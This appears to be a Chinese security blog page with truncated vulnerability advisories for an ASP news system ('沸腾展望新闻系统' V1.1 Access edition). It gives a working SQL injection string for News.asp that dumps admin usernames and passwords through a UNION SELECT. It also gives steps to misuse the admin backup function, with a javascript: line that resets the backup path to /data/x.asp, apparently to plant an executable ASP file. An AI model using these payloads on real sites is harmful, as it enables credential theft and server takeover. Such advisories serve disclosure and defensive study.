鬼仔's Blog

===============================================================
Author:Tr4c3[dot]126[dot]com
版权所有 http://www.nspcn.org
===============================================================
#+++
影响版本：
沸腾展望新闻系统[核心:尘缘雅境] V1.1 Access版 Finish(SP3)
#+++
漏洞文件:
down.asp
#+++
关键代码：
阅读全文 »

来源：C.Rufus Security Team
by cooldiyer

+ News.asp?click=1&shu=20 1 as NewsID,username as title,3 as updatetime,passwd as click,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin union select top 2

后台“图文管理”里添加文章，上传一个flash文件
点附加管理里的备份压缩
数据库地址为只读
打开恢复数据库窗口。IE输入
javascript:alert(window.frames[‘list’].document.forms[0].backpath.value=”/data/x.asp”);
阅读全文 »